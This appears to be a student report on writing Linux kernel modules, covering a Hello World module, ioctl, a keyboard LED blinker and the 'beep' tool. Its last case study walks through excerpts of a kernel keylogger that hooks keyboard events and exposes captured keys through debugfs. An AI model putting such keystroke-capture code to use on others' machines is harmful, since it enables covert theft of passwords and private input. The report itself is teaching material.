Linux Kernel Modules
CS347m - Project Report

Kumar Ayush (140260016)
Kalpesh Krishna (140070017)

Abstract

We intend to investigate Linux kernel modules and device drivers and build and understand a few toy Linux kernel modules. To this end, we have studied three such modules. The first module interfaces with keyboard LEDs and causes them to blink periodically. The second program interfaces with the CPU bell and controls its frequency to produce a desired alarm sound (\a). Finally, the third module is a key-logger, which sniffs keyboard input and stores it in a file.

Contents

1 Introduction

A significant advantage of using Linux or Open Source Software, in general, is the freedom to modify an application as needed. A computer geek is likely to reach a point where she feels the need to modify her device drivers. Maybe she is just curious about how they work.

In Linux, the device drivers are a subclass of Linux Kernel Modules (LKMs) or just kernel modules. Kernel modules are code that can be loaded and unloaded into the kernel as required. They extend the functionality of the kernel without needing a system reboot. As device drivers, which are an important class of kernel modules, they allow the kernel to interface with hardware. [2]

In the following sections, we describe how to write and use an LKM and how to utilise their functionality as device drivers. Section 2 explains several preliminary concepts for what follows next. Section 3 gives a walk-through for a Hello World LKM. Section 4 describes device driver files and how to talk to them, (for example, the `ioctl()` system call). Section 5 is a case study of three simple LKMs . Here we shall elucidate all the concepts we would learn through this project.

2 Preliminaries [2]

2.1 Checking current modules

You can see what modules are currently loaded onto the kernel by executing `lsmod` or you can simply read the file `/proc/modules`.

How are these modules loaded onto the kernel? A utility called `modprobe` looks through `/etc/modules.conf` or `/etc/modules-load.d/modules.conf` for dependencies of the requested module. It then uses `insmod` to load the prerequisite modules and then the requested module. `insmod` can be thought of as a dumber version of `modprobe`. The latter is aware of the default locations of dependency configuration files and directory of modules. It guides `insmod` towards the exact location of the modules required.
A command belonging to the same family is `rmmod` which unloads the module from the kernel. We will see its functionality in the next section when we write our Hello World program.

2.2 Functions available to modules

We often use predefined functions for our programs. A prime example of this is `printf()`. We use these library functions which are provided by the standard C library, `libc`. The definitions for these functions don't actually enter our program until the linking stage, which ensures that the code is available, and fixes the call instruction to point to that code.

Kernel modules are different. As you will see in the next section, we use a function `printk()`, but don't include a standard I/O library. That's because modules are object files whose symbols get resolved upon executing `insmod`. The definition for the symbols comes from the kernel itself. The only external functions you can use are the ones provided by the kernel. `/proc/kallsyms` has a list of all symbols exported by the kernel. Since the file is too big (1.3 lac lines), only the first few lines are shown in the Appendix.

Library functions are higher level, run completely in user space and provide a more convenient interface for the programmer to the functions that do the real work - system calls. System calls run in kernel mode on the user's behalf and are provided by the kernel itself.

It is also possible to write modules to replace kernel's system calls. This is a good device to play pranks on your friends (by printing *Hee Haww* whenever a file is closed) when used in a non-threatening way. More dangerously, crackers use this for writing backdoors and trojans.

2.3 Code Space

Every program has its own virtual memory space. The kernel has its own too. Since a module is code which can be dynamically inserted and removed in the kernel, it shares the kernel's codespace (memory that holds the executable code) rather than having its own. Therefore, if your module segfaults, the kernel segfaults. You can potentially overwrite some of kernel's codespace which is even more dangerous than it sounds.
There are things called *microkernels* which have modules which get their own codespace. `GNU Hurd` is such an example.

2.4 Device Drivers

As follows by the philosophy of UNIX that everything is a file, each piece of hardware is represented by a file located in `/dev` named a *device file* which provides the means to communicate with the hardware.

2.4.1 Major and Minor Numbers

Let us look at some device files by executing `ls -l -a /dev/sda[0-3]`

```
brw-rw---- 1 root disk 8, 1 Oct 31 16:50 /dev/sda1
brw-rw---- 1 root disk 8, 2 Oct 31 16:50 /dev/sda2
brw-rw---- 1 root disk 8, 3 Oct 31 16:49 /dev/sda3
```

Notice the column which has two numbers separated by a comma. The first number is called the **major number** while the second is called the **minor number**. The major number is used to refer to the driver being used to control the hardware. The minor number is used by the driver to refer to each piece of hardware it controls. As is obvious from the above output, each driver can control more than one piece of hardware.

It is important to keep in mind that *hardware* means something more abstract than a physical piece of hardware. Look at the following.

```
crw------- 1 root root 10, 58 Oct 31 16:49 /dev/network_latency
crw------- 1 root root 10, 57 Oct 31 16:49 /dev/network_throughput
```

Both of these are metrics being measured on the same piece of physical hardware at a time, but the device driver refers to them with separate minor numbers. When a device file is accessed, the kernel uses the major number of the file to determine which driver should be used to handle the access. This means that the kernel doesn't really need to use or even know about the minor number. The driver itself is the only thing that cares about the minor number. It uses the minor number to distinguish between different pieces of hardware.

2.4.2 Character and Block Devices

There are two types of devices: character devices and block devices. Block devices have a buffer for requests, so they can choose the best order in which to respond to the requests. This is important in the case of storage devices, where it's faster to read or write sectors which are close to each other, rather than those which are further apart. Another difference is that block devices can only accept input and return output in blocks (whose size can vary according to the device), whereas character devices are allowed to use as many or as few bytes as they like. Most devices in the world are character, because they don't need this type of buffering, and they don't operate with a fixed block size. You can tell whether a device file is for a block device or a character device by looking at the first character in the output of `ls -l -a`. In the above outputs, the disk drives (`sda`) were block devices while the network devices were character devices.

3 Hello World![3]

This section walks through the process of writing a simple linux kernel module.

- Install the C headers for the current kernel. The command "`uname -r`" tells us the current kernel version. We install the latest headers using,

  ```
  sudo apt-get install linux-headers-$(uname -r)
  ```

  This installs the header files in the following directory and can be included in our C programs thereafter.

  ```
  /usr/lib/modules/$(uname -r)/build/include/linux
  ```

- We now explain our code for the "Hello World" example, stored in a file `myDriver.c`.

  ```
  #include <linux/init.h>
  #include <linux/module.h>
  ```

  Every linux kernel module needs to include `linux/module.h` which defines the functions `module_init()` and `module_exit()` and `linux/init.h` provides macros for initialized data.

  ```
  MODULE_LICENSE("GPL");
  ```

  Specifies the license for the kernel module as GNU GPL. If this is absent, the kernel assumes the module is proprietary. We noticed an error message `module license 'unspecified' taints kernel.` while loading the kernel. This article talks about tainted kernels.

  ```
  static int hello_init(void){
      printk(KERN_ALERT "Hello\n");
      return 0;
  }
  ```

This is the initialization function of the kernel which is called during `insmod` (when the module is loaded in the kernel).The function `printk` acts as a logging utility for the kernel. `KERN_ALERT` is a macro which specifies a priority (there are 8 in all, defined here in the Linux code). If the priority is higher than the console's log level, it is printed to the console. `KERN_ALERT` is the second highest priority macro.

```
static void hello_exit(void){
    printk(KERN_ALERT "Bye\n");
}
```

This specifies the code run just before the module is unloaded via `rmmod`.

```
module_init(hello_init);
module_exit(hello_exit);
```

These are used to register (to the kernel) our module initialization and module exit functions. `module_init()` and `module_exit()` are predefined macros.

- Complicated linux kernel modules are built using `kbuild` - a systematic build system used specifically for both in-tree and out-of-tree Linux kernel modules. (linux/Documentation/kbuild/modules.txt is a complete guide to `kbuild`). Here's a basic `Makefile` for building external modules,

```
obj-m += myDriver.o
```

`obj-m += <module_name>.o` specifies object files which are built as loadable kernel modules. A module may be built from one to several source files. `kbuild` builds `<module_name>.o` from `<module_name>.c`, which after linking results in the kernel module `<module_name>.ko`. The above line can also be put in a `kbuild` file.

```
all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

This changes the directory to use the kernel's `kbuild Makefile`. Alternative to `modules`, the target `modules_install` can be used to install the compiled module in `/lib/modules/<kernel_version>/extra/`.

- On running the `make` command, we obtain a file `myDriver.ko` in the home directory. Linux kernel modules can be loaded and unloaded using the `insmod` and `rmmod` commands. An alternative technique is to add the module to the standard module path (`/lib/modules/$(uname -r)/misc/`), update the entries in `/lib/modules/$(uname -r)/modules.dep` and use the `modprobe` command. This module will be loaded on every system boot-up.

```
$ sudo insmod myDriver.ko
$ lsmod | grep 'myDriver'
myDriver               12496  0
$ cat /proc/modules | grep 'myDriver'
myDriver 12496 0 - Live 0x0000000000000000 (POX)
$ sudo rmmod myDriver
$ dmesg | tail -2
[ 7946.240757] Hello
[ 7977.173431] Bye
```

The `lsmod` command and the `/proc/modules` file lists all the currently active The `dmesg` (driver messages) command prints the message buffer of the kernel, and typically those messages produced by the device drivers (via the `printk()` function described earlier). A complete example `dmesg` output is shown in Appendix A.

4 Device Drivers[2]

Device drivers are an important class of Kernel modules, and character devices form a major chunk of them. Each driver is represented by one or more device files. We are going to learn how to communicate with device files in the first subsection. Then we are going to learn about the `file_operations` structure, and lastly we will glance over file systems used for communication, such as `procfs`, `sysfs` and `debugfs`.

4.1 Talking to Device Files

Most physical devices are used for output as well as input. There has to be some mechanism for device drivers in the kernel to get the output to send to the device from processes. This is done by opening the device file for output and writing to it, just like writing to a file. This is not always enough. Imagine you had a serial port connected to a modem (even if you have an internal modem, it is still implemented from the CPU's perspective as a serial port connected to a modem). The natural thing to do would be to use the device file to write things to the modem (either modem commands or data to be sent through the phone line) and read things from the modem (either responses for commands or the data received through the phone line). However, this leaves open the question of what to do when you need to talk to the serial port itself, for example to send the rate at which data is sent and received.

The answer in Unix is to use a special function called `ioctl()` (short for Input Output ConTroL). Every device can have its own `ioctl` commands, which can be *read* `ioctl`'s (to send information from a process to the kernel), *write* `ioctl` 's (to return information to a process), both or neither. The user-space `ioctl` function is called with two necessary parameters: the file descriptor of the appropriate device file and a command. You can use a pointer as the third argument to pass more data with the command. You can see the prototype of this command below.

```
int ioctl(int fd, unsigned long cmd, ...);
```

The `ioctl` driver method has a prototype that differs somewhat from the user-space version:

```
int (*ioctl) (struct inode *inode, struct file *filp,
              unsigned int cmd, unsigned long arg);
```

The `inode` and `filp` pointers are the values corresponding to the file descriptor `fd` passed on by the application and are the same parameters passed to the open method. The `cmd` argument is passed from the user unchanged, and the optional `arg` argument is passed in the form of an unsigned long, regardless of whether it was given by the user as an integer or a pointer. If the invoking program doesn't pass a third argument, the `arg` value received by the driver operation is undefined. Because type checking is disabled on the extra argument, the compiler can't warn you if an invalid argument is passed to ioctl, and any associated bug would be difficult to spot.

As you might imagine, most ioctl implementations consist of a big switch statement that selects the correct behavior according to the cmd argument. Different commands have different numeric values, which are usually given symbolic names to simplify coding. The symbolic name is assigned by a preprocessor definition. Custom drivers usually declare such symbols in their header files. User programs must, of course, include that header file as well to have access to those symbols. [1]

4.2 The file_operations structure

The file_operations structure is defined in linux/fs.h, and holds pointers to functions defined by the driver that perform various operations on the device. Each field of the structure corresponds to the address of some function defined by the driver to handle a requested operation. As of Nov 2017, the definition looks like:

```
struct file_operations {
  struct module *owner;
  loff_t (*llseek) (struct file *, loff_t, int);
  ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
  ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
  ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
  ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
  int (*iterate) (struct file *, struct dir_context *);
  int (*iterate_shared) (struct file *, struct dir_context *);
  unsigned int (*poll) (struct file *, struct poll_table_struct *);
  long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
  long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
  int (*mmap) (struct file *, struct vm_area_struct *);
  int (*open) (struct inode *, struct file *);
  int (*flush) (struct file *, fl_owner_t id);
  int (*release) (struct inode *, struct file *);
  int (*fsync) (struct file *, loff_t, loff_t, int datasync);
  int (*fasync) (int, struct file *, int);
  int (*lock) (struct file *, int, struct file_lock *);
  ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
  unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
  int (*check_flags)(int);
  int (*flock) (struct file *, int, struct file_lock *);
  ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
  ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
  int (*setlease)(struct file *, long, struct file_lock **, void **);
  long (*fallocate)(struct file *file, int mode, loff_t offset,
        loff_t len);
  void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
  unsigned (*mmap_capabilities)(struct file *);
#endif
  ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
      loff_t, size_t, unsigned int);
  int (*clone_file_range)(struct file *, loff_t, struct file *, loff_t,
      u64);
```

```c
	ssize_t (*dedupe_file_range)(struct file *, u64, u64, struct file *,
		u64);
} __randomize_layout;
```

We can use this structure and initialize the functions that we want as follows. Anything that we don't explicitly define is assigned "NULL" by *gcc*.

```c
struct file_operations fops = {
        .read = device_read,
        .write = device_write,
        .open = device_open,
        .release = device_release
};
```

We will see an instance of this in the keylogger example covered in the next section.

4.3 Filesystems

In Linux, there is additional mechanism for Kernel and Kernel modules to communicate with a process. One example of this is the `/proc` filesystem. Originally designed to allow easy access to information about processes (hence the name), it is now used by every bit of the kernel which has something interesting to report, such as `/proc/modules` which has the list of modules and `/proc/meminfo` which has memory usage statistics.

It's important to note that the standard roles of read and write are reversed in the kernel. Read functions are used for output, whereas write functions are used for input. The reason for that is that read and write refer to the user's point of view - if a process reads something from the kernel, then the kernel needs to output it, and if a process writes something to the kernel, then the kernel receives it as input.

Once again, the keylogger example in the next section has an instance of using `read` on a debug filesystem (`debugfs`) which is similar to `procfs` but used for debugging purposes. As explained in the previous paragraph, `read` writes the output of the process to the debug file.

5 LKM Examples

5.1 Keyboard LEDs

Our first kernel module, `blink.ko`, periodically blinks Keyboard LEDs at a hard-coded frequency. We modify the code in Section 10.2 of [2] to match the APIs of our Linux kernel version `3.13.0-92-generic`, and analyze the implementation in this section.

```c
module_init(kbleds_init);
module_exit(kbleds_cleanup);
```

As before, this registers the functions `kbleds_init` and `kbleds_cleanup` as the module's initialization and cleanup functions.

```c
static int __init kbleds_init(void)
static void __exit kbleds_cleanup(void)
```

The `__init` and `__exit` macros are defined in the `linux/init.h` header. The `__init` macro ensures the memory occupied by the `init` function is cleared for built-in drivers (after usage). It has no effect if the module is loadable. The `__exit` macro leaves this function for the built-in case, but has no effect for loadable modules.

```
int i;
printk(KERN_INFO "kbleds: fgconsole is %x\n", fg_console);
for (i = 0; i < MAX_NR_CONSOLES; i++) {
    if (!vc_cons[i].d)
        break;
    printk(KERN_INFO "poet_atkm: console[%i/%i] #%i, tty %lx\n", i,
           MAX_NR_CONSOLES, vc_cons[i].d->vc_num,
           (unsigned long)vc_cons[i].d->port.tty);
}
my_driver = (vc_cons[fg_console].d->port.tty)->driver;
printk(KERN_INFO "kbleds: tty driver magic %x\n", my_driver->magic);
```

This code produces the output,

```
[14006.721203] kbleds: fgconsole is 6
[14006.721205] poet_atkm: console[0/63] #0, tty ffff8800361eac00
[14006.721206] poet_atkm: console[1/63] #1, tty ffff880099b09800
[14006.721207] poet_atkm: console[2/63] #2, tty ffff880099bdf800
[14006.721208] poet_atkm: console[3/63] #3, tty ffff8801266ac400
[14006.721209] poet_atkm: console[4/63] #4, tty ffff880099725000
[14006.721210] poet_atkm: console[5/63] #5, tty ffff8801266aec00
[14006.721212] poet_atkm: console[6/63] #6, tty ffff8800361ea400
[14006.721213] kbleds: tty driver magic 5402
```

By default, Linux has 7 `tty`'s named `tty1` to `tty7`. Each `tty` is a device (in `/dev/`), called a "virtual console", which acts like a terminal. Each `tty` utilizes the keyboard device driver (code) to take in user input. In our operating system Ubuntu, `tty7` is used by `Xorg` to provide a graphical user interface to users. The variable `fg_console` refers to the current active `tty`, and hence it has the value 6 (indexed from 0).
The variable `MAX_NR_CONSOLES` is the maximum allowed `tty`'s, defined as 63 here.
The `vc_cons` array stores details of active virtual consoles. It is used to access the virtual console's active file descriptors, which are subsequently required by the user-space `ioctl()` command.
`my_driver` is a `tty_driver` type pointer which refers to the keyboard device driver. This driver's code contains the set of commands callable via `ioctl`.
Every different `struct` definition in Linux has an unique identifier as its first four bytes termed as "magic" (reference). This is used to uniquely identify the `struct` definition. For the `struct tty_driver` the magic number is defined as 5402 in this header.

```
int *pstatus = (int *)ptr;
if (*pstatus == ALL_LEDS_ON)
    *pstatus = RESTORE_LEDS;
else
    *pstatus = ALL_LEDS_ON;
((my_driver->ops)->ioctl) (vc_cons[fg_console].d->port.tty, KDSETLED, *
   pstatus);
my_timer.expires = jiffies + BLINK_DELAY;
add_timer(&my_timer);
```

This is the snippet which is looped over in a periodic fashion, defined by `BLINK_DELAY`. `jiffies` refers to the number of clock ticks since the system booted. The pointer `pstatus` oscillates between two pre-decided values defined in the keyboard driver. The driver's `ioctl()` call accepts the active device's file descriptor, `KDSETLED` as a command and `*pstatus` as an argument for `KDSETLED`. Alternative commands for this

driver's `ioctl()` include `KDGETLED`, `KDSKBLED` and `KDGKBLED`.
`add_timer` is necessary for looping over the code above periodically.

```
printk(KERN_INFO "kbleds: unloading...\n");
del_timer(&my_timer);
((my_driver->ops)->ioctl) (vc_cons[fg_console].d->port.tty, KDSETLED,
        RESTORE_LEDS);
```

Finally, here's the exit code which switches off all LEDs and deletes the timer object. This section described all the important sections of the LED blinker code. We add the whole code for reference in Appendix B.1.

5.2 CPU Bell

Our second case-study is understanding the popular command line tool `beep`, which is open sourced on Github as https://github.com/johnath/beep. Strictly speaking, this is not a Linux Kernel Module, but it uses the user-space `ioctl()` call defined in `sys/ioctl.h` - hence we found it a good program to analyze and understand. Like in the previous case study, we go over the important sections of the code here. We analyze the most simple usage of this command line tool, to play a single beep at particular frequency for a given length of time.

```
if(console_device)
  console_fd = open(console_device, O_WRONLY);
else
  if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
    console_fd = open("/dev/vc/0", O_WRONLY);
```

The `open()` function is a part of the `<fcntl.h>` header defined in `include/linux/fcntl.h`. The key-word `O_WRONLY` is a file access mode, referring to "*open for write only*". The `open()`(documentation) function is used to open a file for reading / writing. Note that as described previously in Section 2, in Linux all device drivers are files under `/dev/`. We use the device file `/dev/tty0` to refer to the current virtual console, which can be from `tty1` to `tty7`, and is `tty7` for the GUI. The device name `/dev/vc/0` is an alternative name for `/dev/tty0` and also refers to the current virtual console.

```
if (ioctl(console_fd, EVIOCGSND(0)) != -1)
  console_type = BEEP_TYPE_EVDEV;
else
  console_type = BEEP_TYPE_CONSOLE;
```

`EVDEV` (reference) is a generic input event interface in the Linux kernel. It generalizes raw input events from device drivers and makes them available through character devices in the `/dev/input/` directory. `EVDEV` is in-fact a Linux Kernel Module, and can be seen in some operating systems. The snippet starts by sending the `EVIOCGSND` command, which effectively checks whether the current `EVDEV` setup has the `EV_SND` event active. If yes, no further `ioctl` calls are needed and the `EVDEV` interface can be used for beeps.

```
void do_beep(int freq) {
  int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq);
  if(console_type == BEEP_TYPE_CONSOLE) {
    if(ioctl(console_fd, KIOCSOUND, period) < 0) {
      putchar('\a');  /* Output the only beep we can, in an effort to fall
     back on usefulness */
      perror("ioctl");
```

```
    }
  } else {
     /* BEEP_TYPE_EVDEV */
     struct input_event e;
     e.type = EV_SND;
     e.code = SND_TONE;
     e.value = freq;
     if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
       putchar('\a'); /* See above */
       perror("write");
     }
  }
}
```

This code snippet actually performs the beep. In the console mode, (where EV_DEV is not active) an `ioctl()` call is needed with the command KIOCSOUND, (defined in `drivers/tty/vt/vt_ioctl.c` which calls the `kd_mksound()` function of the keyboard device driver. (code). In the case where the KDDEV accepts sound input events, an `input_event` type can be written directly to the device file descriptor.

```
void handle_signal(int signum) {
  ...
  switch(signum) {
  case SIGINT:
  case SIGTERM:
    if(console_fd >= 0) {
      /* Kill the sound, quit gracefully */
      do_beep(0);
      close(console_fd);
      exit(signum);
    } else {
      /* Just quit gracefully */
      exit(signum);
    }
  }
}
...
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
```

This registers callbacks to handle interruptions in execution (by Ctrl+C etc). Beep frequency is set to zero via `do_beep(0)` and the device file is closed.
We have added the beep code in Appendix B.2.

5.3 Keylogger

Our third and final case-study is a keylogger written by Arun Prakash Jana, and a copy of the code can be found here. Let us glance over the important sections.

```
module_param(codes, int, 0644);
MODULE_PARM_DESC(codes, "log format (0:US keys (default), 1:hex keycodes,
    2:dec keycodes)");
```

This is how you can define parameters to be passed to Linux Kernel Modules. The first argument in `module_param` is the parameter name. The second argument is the parameter type, while the third argument is the permission bits. These permission bits decide the permission for the corresponding file in sysfs (`/sys`).

`MODULE_PARM_DESC` is a macro just for documentation purposes. You can specify the parameter at insmod in a format like:

```
insmod sniffer.ko codes=1
```

```
const struct file_operations keys_fops = {
    .owner = THIS_MODULE,
    .read = keys_read,
};
```

This is an usage of the `file_operations` struct as had been described in the previous section. We only need to use a single operation read (output).

```
static ssize_t keys_read(struct file *filp,
                char *buffer,
                size_t len,
                loff_t *offset)
{
    return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}
```

This is the definition of the read file operation we are utilising. Notice `filp`, which is a common name for a pointer to `struct` file. The second argument `buffer` is the buffer to be filled with data, and `len` is its length. This is an example of kernel module communicating via a file system, `debugfs`, as we will soon see.

```
static struct notifier_block keysniffer_blk = {
    .notifier_call = keysniffer_cb,
};
```

This is usage of what is called a **notification chain** in Linux. Simply put, it subscribes a callback function to the keypress event.

```
static int __init keysniffer_init(void)
{
    buf_pos = 0;
    if (codes < 0 || codes > 2)
        return -EINVAL;
    subdir = debugfs_create_dir("kisni", NULL);
    if (IS_ERR(subdir))
        return PTR_ERR(subdir);
    if (!subdir)
        return -ENOENT;
    file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
    if (!file) {
        debugfs_remove_recursive(subdir);
        return -ENOENT;
    }
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}
```

The `init` for this LKM simply creates a directory in the debug file-system and registers a notifier block structure into the notification chain for keyboard events. We have already shown how this structure holds the callback function for these events.

```
pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
code, param->down, param->shift, param->value);
```

This is an example of how to write to this file created in the debug file system.

```c
static void __exit keysniffer_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
    debugfs_remove_recursive(subdir);
}
```

The exit code is simple. We de-register our notifier structure from the notification chain and clean the file system that we used.

```c
keycode_to_string(param->value, param->shift, keybuf, codes);
```

The crux of the keylogger lies in the callback function which simply reads the parameters passed to it by the notifier and finds the key values there. This simple functionality is encoded in the above line.
We have provided the full source code in Appendix B.3.

References

[1] Anon. ioctl Documentation. http://www.makelinux.net/ldd3/chp-6-sect-1, 2017. [Online; accessed 05-Nov-2017].

[2] Peter Jay Salzman. *Linux Kernel Module Programming Guide*. 2017. [Online; accessed 04-Nov-2017].

[3] Javier Vargas. How To write a linux device driver. https://www.iitg.ernet.in/asahu/cs421/books/LKM2.6.pdf, 2017. [Online; accessed 02-Nov-2017].

A Command Outputs and File Contents

lsmod

```
Module                  Size  Used by
cmac                   16384  1
rfcomm                 77824  2
ipt_MASQUERADE         16384  1
nf_nat_masquerade_ipv4    16384  1 ipt_MASQUERADE
nf_conntrack_netlink    36864  0
nfnetlink              16384  2 nf_conntrack_netlink
xfrm_user              32768  1
xfrm_algo              16384  1 xfrm_user
iptable_nat            16384  1
nf_conntrack_ipv4      16384  3
nf_defrag_ipv4         16384  1 nf_conntrack_ipv4
nf_nat_ipv4            16384  1 iptable_nat
xt_addrtype            16384  2
iptable_filter         16384  1
ip_tables              24576  2 iptable_filter,iptable_nat
xt_conntrack           16384  1
x_tables               36864  5 ip_tables,iptable_filter,ipt_MASQUERADE,xt_addrtype,xt_conntrack
nf_nat                 28672  2 nf_nat_masquerade_ipv4,nf_nat_ipv4
nf_conntrack          131072  7 nf_conntrack_ipv4,ipt_MASQUERADE,nf_conntrack_netlink,nf_nat_masquerade_ipv4,xt_conntrack,nf_nat_ipv4,nf_nat
libcrc32c              16384  1 nf_nat
br_netfilter           24576  0
bridge                139264  1 br_netfilter
stp                    16384  1 bridge
llc                    16384  2 bridge,stp
overlay                53248  0
ccm                    20480  1
bnep                   20480  2
nls_iso8859_1          16384  1
wl                   6447104  0
uvcvideo               90112  0
arc4                   16384  2
edac_mce_amd           28672  0
videobuf2_vmalloc      16384  1 uvcvideo
videobuf2_memops       16384  1 videobuf2_vmalloc
edac_core              53248  0
videobuf2_v4l2         24576  1 uvcvideo
rtl8723be              98304  0
btcoexist             167936  1 rtl8723be
kvm_amd              2183168  0
videobuf2_core         40960  2 uvcvideo,videobuf2_v4l2
videodev              172032  3 uvcvideo,videobuf2_core,videobuf2_v4l2
kvm                   593920  1 kvm_amd
rtl8723_common         24576  1 rtl8723be
rtl_pci                32768  1 rtl8723be
media                  40960  2 uvcvideo,videodev
rtlwifi                98304  3 rtl_pci,btcoexist,rtl8723be
hp_wmi                 16384  0
irqbypass              16384  1 kvm
crct10dif_pclmul       16384  0
crc32_pclmul           16384  0
```

```
ghash_clmulni_intel    16384  0
pcbc                   16384  0
snd_hda_codec_realtek    90112  1
mac80211              782336  3 rtl_pci,rtlwifi,rtl8723be
snd_hda_codec_generic    73728  1 snd_hda_codec_realtek
snd_hda_codec_hdmi     49152  1
snd_hda_intel          36864  7
snd_hda_codec         126976  4 snd_hda_intel,snd_hda_codec_hdmi,
    snd_hda_codec_generic,snd_hda_codec_realtek
snd_hda_core           81920  5 snd_hda_intel,snd_hda_codec,
    snd_hda_codec_hdmi,snd_hda_codec_generic,snd_hda_codec_realtek
snd_hwdep              16384  1 snd_hda_codec
snd_pcm               102400  5 snd_hda_intel,snd_hda_codec,snd_hda_core,
    snd_hda_codec_hdmi
snd_seq_midi           16384  0
snd_seq_midi_event     16384  1 snd_seq_midi
snd_rawmidi            32768  1 snd_seq_midi
aesni_intel           167936  4
sparse_keymap          16384  1 hp_wmi
snd_seq                65536  2 snd_seq_midi_event,snd_seq_midi
btusb                  45056  0
btrtl                  16384  1 btusb
btbcm                  16384  1 btusb
aes_x86_64             20480  1 aesni_intel
crypto_simd            16384  1 aesni_intel
btintel                16384  1 btusb
bluetooth             557056  31 btrtl,btintel,bnep,btbcm,rfcomm,btusb
glue_helper            16384  1 aesni_intel
cfg80211              602112  3 wl,mac80211,rtlwifi
fam15h_power           16384  0
snd_seq_device         16384  3 snd_seq,snd_rawmidi,snd_seq_midi
snd_timer              32768  2 snd_seq,snd_pcm
cryptd                 24576  3 crypto_simd,ghash_clmulni_intel,aesni_intel
joydev                 20480  0
input_leds             16384  0
snd                    77824  24 snd_hda_intel,snd_hwdep,snd_seq,
    snd_hda_codec,snd_timer,snd_rawmidi,snd_hda_codec_hdmi,
    snd_hda_codec_generic,snd_seq_device,snd_hda_codec_realtek,snd_pcm
serio_raw              16384  0
k10temp                16384  0
soundcore              16384  1 snd
i2c_piix4              24576  0
ccp                    57344  0
shpchp                 36864  0
hp_wireless            16384  0
mac_hid                16384  0
parport_pc             32768  0
ppdev                  20480  0
lp                     20480  0
parport                49152  3 lp,parport_pc,ppdev
autofs4                40960  2
amdgpu               1560576  0
amdkfd                139264  1
amd_iommu_v2           20480  1 amdkfd
radeon               1507328  14
i2c_algo_bit           16384  2 amdgpu,radeon
ttm                    98304  2 amdgpu,radeon
drm_kms_helper        151552  2 amdgpu,radeon
```

```
psmouse               139264  0
syscopyarea            16384  1 drm_kms_helper
sdhci_pci              28672  0
sysfillrect            16384  1 drm_kms_helper
sdhci                  45056  1 sdhci_pci
sysimgblt              16384  1 drm_kms_helper
fb_sys_fops            16384  1 drm_kms_helper
drm                   352256  8 amdgpu,radeon,ttm,drm_kms_helper
ahci                   36864  3
r8169                  81920  0
libahci                32768  1 ahci
mii                    16384  1 r8169
wmi                    16384  1 hp_wmi
fjes                   77824  0
video                  40960  0
```

/proc/kallsyms

```
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
0000000000000000 A exception_stacks
0000000000000000 A gdt_page
0000000000000000 A espfix_waddr
0000000000000000 A espfix_stack
0000000000000000 A cpu_closid
0000000000000000 A cpu_llc_id
0000000000000000 A cpu_llc_shared_map
0000000000000000 A cpu_core_map
0000000000000000 A cpu_sibling_map
0000000000000000 A cpu_info
0000000000000000 A cpu_number
0000000000000000 A this_cpu_off
0000000000000000 A x86_cpu_to_acpiid
0000000000000000 A x86_cpu_to_apicid
0000000000000000 A x86_bios_cpu_apicid
0000000000000000 A sched_core_priority
0000000000000000 A cpu_loops_per_jiffy
0000000000000000 A pmc_prev_left
0000000000000000 A cpu_hw_events
0000000000000000 A bts_ctx
0000000000000000 A pqr_state
0000000000000000 A insn_buffer
0000000000000000 A pt_ctx
0000000000000000 A xen_cr0_value
0000000000000000 A idt_desc
0000000000000000 A shadow_tls_desc
0000000000000000 A xen_vcpu_info
0000000000000000 A xen_vcpu_id
0000000000000000 A xen_vcpu
0000000000000000 A mc_buffer
0000000000000000 A xen_mc_irq_flags
0000000000000000 A xen_current_cr3
0000000000000000 A xen_cr3
0000000000000000 A xen_clock_events
0000000000000000 A xenpmu_shared
0000000000000000 A xen_pmu_irq
0000000000000000 A xen_debug_irq
0000000000000000 A xen_irq_work
0000000000000000 A xen_callfuncsingle_irq
```

```
0000000000000000 A xen_callfunc_irq
0000000000000000 A xen_resched_irq
```

dmesg

```
[ 6043.678797] usb 1-1.5: device descriptor read/64, error -71
[ 6043.854884] usb 1-1.5: new high-speed USB device number 22 using ehci-
    pci
[ 6043.938880] usb 1-1.5: device descriptor read/64, error -71
[ 6044.126999] usb 1-1.5: device descriptor read/64, error -71
[ 6044.303040] usb 1-1.5: new high-speed USB device number 23 using ehci-
    pci
[ 6044.719239] usb 1-1.5: device not accepting address 23, error -71
[ 6044.791297] usb 1-1.5: new high-speed USB device number 24 using ehci-
    pci
[ 6045.207447] usb 1-1.5: device not accepting address 24, error -71
[ 6045.207669] hub 1-1:1.0: unable to enumerate USB device on port 5
[ 6045.455497] usb 1-1.5: new high-speed USB device number 25 using ehci-
    pci
[ 6045.539550] usb 1-1.5: device descriptor read/64, error -71
[ 6045.727594] usb 1-1.5: device descriptor read/64, error -71
[ 6045.903743] usb 1-1.5: new high-speed USB device number 26 using ehci-
    pci
[ 6045.987774] usb 1-1.5: device descriptor read/64, error -71
[ 6046.175824] usb 1-1.5: device descriptor read/64, error -71
[ 6046.351928] usb 1-1.5: new high-speed USB device number 27 using ehci-
    pci
[ 6046.768071] usb 1-1.5: device not accepting address 27, error -71
